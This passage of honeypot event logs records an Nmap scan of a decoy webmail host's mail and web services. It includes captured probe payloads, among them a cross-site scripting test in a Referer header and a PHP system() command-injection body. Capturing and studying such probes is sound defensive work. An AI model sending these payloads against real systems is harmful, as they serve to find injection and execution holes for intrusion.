fields: {"src": "192.168.1.5", "cmd": "\u0000/\u0000"}
raw_line:
  <134>1 2026-04-08T04:32:45.548870+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="/"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.548935+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.548996+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.549037+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46430"}
raw_line:
  <134>1 2026-04-08T04:34:27.641769+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="46430"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49146"}
raw_line:
  <134>1 2026-04-08T04:34:27.641695+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49146"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "53734"}
raw_line:
  <134>1 2026-04-08T04:34:27.641860+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="53734"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:27.642208+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:27.642222+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:27.642222+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:34:27.963390+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:34:27.963544+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:34:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:34:27.963788+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:34:28.013757+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.113178+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/robots.txt" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/robots.txt", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.162993+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.163187+00:00 decky-webmail http - request [decnet@55555 method="DEBUG" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Command': 'stop-debug', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "DEBUG", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Command': 'stop-debug', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/images", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:34:28.163350+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/images" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.212662+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.262348+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.311917+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/gxwjhapmmlcwofnrduso.htm" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/gxwjhapmmlcwofnrduso.htm", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "53744"}
raw_line:
  <134>1 2026-04-08T04:34:28.361795+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="53744"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T04:34:28.411218+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="ieU
  ��random1random2random3random4
  /"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0000\u0000i\u0001\u0000\u0000e\u0003\u0003U\u001c\ufffd\ufffdrandom1random2random3random4\u0000\u0000\f\u0000/\u0000"}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:28.510359+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "53758"}
raw_line:
  <134>1 2026-04-08T04:34:28.510795+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="53758"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "HEAD / HTTP/1.1"}
raw_line:
  <134>1 2026-04-08T04:34:28.560327+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="HEAD / HTTP/1.1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "Host: 192.168.1.110:143"}
raw_line:
  <134>1 2026-04-08T04:34:28.560615+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="Host: 192.168.1.110:143"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "X-Transcend-Version: 1"}
raw_line:
  <134>1 2026-04-08T04:34:28.560715+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="X-Transcend-Version: 1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "X-AnyConnect-Platform: mac-intel"}
raw_line:
  <134>1 2026-04-08T04:34:28.560793+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="X-AnyConnect-Platform: mac-intel"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "Connection: close"}
raw_line:
  <134>1 2026-04-08T04:34:28.560853+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="Connection: close"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "User-Agent: AnyConnect Darwin_i386 3.1.05160"}
raw_line:
  <134>1 2026-04-08T04:34:28.560911+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="User-Agent: AnyConnect Darwin_i386 3.1.05160"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "X-Aggregate-Auth: 1"}
raw_line:
  <134>1 2026-04-08T04:34:28.560972+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="X-Aggregate-Auth: 1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "Accept: */*"}
raw_line:
  <134>1 2026-04-08T04:34:28.561026+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="Accept: */*"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "Accept-Encoding: identity"}
raw_line:
  <134>1 2026-04-08T04:34:28.561070+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="Accept-Encoding: identity"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.610137+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/xml', 'Host': '192.168.1.110', 'Content-Length': '279'}" body="<?xml version=\"1.0\" encoding=\"utf-8\"?><propfind xmlns=\"DAV:\"><prop><getcontentlength xmlns=\"DAV:\"/><getlastmodified xmlns=\"DAV:\"/><executable xmlns=\"http://apache.org/dav/props/\"/><resourcetype xmlns=\"DAV:\"/><checked-in xmlns=\"DAV:\"/><checked-out xmlns=\"DAV:\"/></prop></propfind>"]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/xml', 'Host': '192.168.1.110', 'Content-Length': '279'}", "body": "<?xml version=\"1.0\" encoding=\"utf-8\"?><propfind xmlns=\"DAV:\"><prop><getcontentlength xmlns=\"DAV:\"/><getlastmodified xmlns=\"DAV:\"/><executable xmlns=\"http://apache.org/dav/props/\"/><resourcetype xmlns=\"DAV:\"/><checked-in xmlns=\"DAV:\"/><checked-out xmlns=\"DAV:\"/></prop></propfind>"}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:28.659214+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46446"}
raw_line:
  <134>1 2026-04-08T04:34:28.659222+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="46446"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:28.659488+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/kgapwlzcogfuecel" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Referer': '\"><script>alert(\"XSS\")</script><\"', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/kgapwlzcogfuecel", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Referer': '\"><script>alert(\"XSS\")</script><\"', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:28.809342+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46460"}
raw_line:
  <134>1 2026-04-08T04:34:28.809735+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="46460"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "HEAD / HTTP/1.1"}
raw_line:
  <134>1 2026-04-08T04:34:28.859483+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="HEAD / HTTP/1.1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Host: 192.168.1.110:25"}
raw_line:
  <134>1 2026-04-08T04:34:28.859681+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Host: 192.168.1.110:25"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Transcend-Version: 1"}
raw_line:
  <134>1 2026-04-08T04:34:28.859757+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Transcend-Version: 1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-AnyConnect-Platform: mac-intel"}
raw_line:
  <134>1 2026-04-08T04:34:28.859813+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-AnyConnect-Platform: mac-intel"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Connection: close"}
raw_line:
  <134>1 2026-04-08T04:34:28.859866+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Connection: close"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "User-Agent: AnyConnect Darwin_i386 3.1.05160"}
raw_line:
  <134>1 2026-04-08T04:34:28.859911+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="User-Agent: AnyConnect Darwin_i386 3.1.05160"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Aggregate-Auth: 1"}
raw_line:
  <134>1 2026-04-08T04:34:28.859956+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Aggregate-Auth: 1"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept: */*"}
raw_line:
  <134>1 2026-04-08T04:34:28.859999+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept: */*"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept-Encoding: identity"}
raw_line:
  <134>1 2026-04-08T04:34:28.860044+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept-Encoding: identity"]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": ""}
raw_line:
  <134>1 2026-04-08T04:34:28.860089+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command=""]


timestamp: 2026-04-08 04:34:28
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:28.958529+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "41536"}
raw_line:
  <134>1 2026-04-08T04:34:29.009095+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="41536"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.009535+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Content-Length': '52', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body="<?php system('echo NmapCVEIdentification');die(); ?>"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Content-Length': '52', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": "<?php system('echo NmapCVEIdentification');die(); ?>"}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "HEAD / HTTP/1.1"}
raw_line:
  <134>1 2026-04-08T04:34:29.058524+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="HEAD / HTTP/1.1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Host: 192.168.1.110:25"}
raw_line:
  <134>1 2026-04-08T04:34:29.058802+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Host: 192.168.1.110:25"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Transcend-Version: 1"}
raw_line:
  <134>1 2026-04-08T04:34:29.058891+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Transcend-Version: 1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-AnyConnect-Platform: mac-intel"}
raw_line:
  <134>1 2026-04-08T04:34:29.058945+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-AnyConnect-Platform: mac-intel"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Connection: close"}
raw_line:
  <134>1 2026-04-08T04:34:29.058997+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Connection: close"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "User-Agent: AnyConnect Darwin_i386 3.1.05160"}
raw_line:
  <134>1 2026-04-08T04:34:29.059047+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="User-Agent: AnyConnect Darwin_i386 3.1.05160"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.058861+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Access-Control-Request-Method': 'HEAD', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Access-Control-Request-Method': 'HEAD', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Aggregate-Auth: 1"}
raw_line:
  <134>1 2026-04-08T04:34:29.059098+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Aggregate-Auth: 1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept: */*"}
raw_line:
  <134>1 2026-04-08T04:34:29.059145+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept: */*"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept-Encoding: identity"}
raw_line:
  <134>1 2026-04-08T04:34:29.059189+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept-Encoding: identity"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": ""}
raw_line:
  <134>1 2026-04-08T04:34:29.059230+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command=""]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:29.158241+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.158477+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'keep-alive'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'keep-alive'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "41550"}
raw_line:
  <134>1 2026-04-08T04:34:29.207908+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="41550"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "HEAD / HTTP/1.1"}
raw_line:
  <134>1 2026-04-08T04:34:29.257438+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="HEAD / HTTP/1.1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Host: 192.168.1.110:25"}
raw_line:
  <134>1 2026-04-08T04:34:29.257751+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Host: 192.168.1.110:25"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.257694+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/server-status" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/server-status", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Transcend-Version: 1"}
raw_line:
  <134>1 2026-04-08T04:34:29.257884+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Transcend-Version: 1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-AnyConnect-Platform: mac-intel"}
raw_line:
  <134>1 2026-04-08T04:34:29.257974+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-AnyConnect-Platform: mac-intel"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Connection: close"}
raw_line:
